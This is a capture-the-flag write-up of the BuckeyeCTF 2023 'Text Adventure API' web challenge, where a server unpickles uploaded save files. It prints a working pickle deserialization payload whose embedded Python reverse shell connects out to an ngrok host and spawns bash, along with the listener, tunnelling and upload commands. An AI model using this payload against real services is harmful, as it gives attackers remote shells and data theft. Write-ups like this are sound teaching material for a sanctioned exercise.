Post

BuckeyeCTF 2023 - Text Adventure API

Description

Category: Web

Author: mbund

Explore my kitchen!

https://text-adventure-api.chall.pwnoh.io/api

Attachments:

Resolution

1. Overview

The flag is stored in flag.txt at the root of the app folder.

There is no mention of the flag in the server.py so we can’t get it by playing the text adventure game.

The only attack vector we can exploit is the pickle.load.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@app.route('/api/load', methods=['POST'])
def load_session():
    if 'file' not in request.files:
        return jsonify({"message": "No file part"})
    file = request.files['file']
    if file and file.filename.endswith('.pkl'):
        try:
            loaded_session = pickle.load(file)
            session.update(loaded_session)
        except Exception as e::
            print(e)
            return jsonify({"message": "Failed to load save game session."})
        return jsonify({"message": "Game session loaded."})
    else:
        return jsonify({"message": "Invalid file format. Please upload a .pkl file."})

2. Pickle RCE

We can exploit the pickle.load to execute arbitrary code on the server (cf Exploiting Python pickles - David Hamann) by saving a Python object with the method __reduce__.

When the pickle file is loaded, the __reduce__ method is executed:

1
2
3
4
class RCE:
    def __reduce__(self):
        cmd = ("YOUR COMMAND")
        return os.system, (cmd,)

I tried several commands like curl or nc in order to exfiltrate the flag but it seems that they aren’t installed on the server.

I generated a reverse shell on revshells.com fully written in python:

1
2
3
4
5
6
7
8
import os
import pickle

# Pickle RCE Payload
class RCE:
    def __reduce__(self):
        cmd = ("""python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("7.tcp.eu.ngrok.io",13637));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'""")
        return os.system, (cmd,)

To start a reverse shell on your machine:

  • 1
    2
    
    $ nc -lvnp 2222
    Listening on 0.0.0.0 2222
    
  • Then either you forward your port on you router either you use ngrok to expose your port to the Internet:
    1
    
    $ ngrok tcp 2222
    

Then we save the file with the right extension (.pkl) and send it to the server:

1
2
3
4
5
6
7
8
# Save to .pkl file
pickle.dump(RCE(), open("rce.pkl", "wb"))

import requests

# Upload to the server
files = {'file': open("rce.pkl", "rb")}
r = requests.post("https://text-adventure-api.chall.pwnoh.io/api/load", files=files)

Finally, we got our reverse shell and we print the flag:

1
2
3
4
5
6
7
8
9
$ nc -lvnp 2222
Listening on 0.0.0.0 2222
Connection received on 127.0.0.1 48164
ctf@059c6d30bad6:~$ ls
ls
flag.txt  requirements.txt  server.py
ctf@059c6d30bad6:~$ cat flag.txt
cat flag.txt
bctf{y0u_f0und_7h3_py7h0n_p1ckl3_1n_7h3_k17ch3n}

bctf{y0u_f0und_7h3_py7h0n_p1ckl3_1n_7h3_k17ch3n}

This post is licensed under CC BY 4.0 by the author.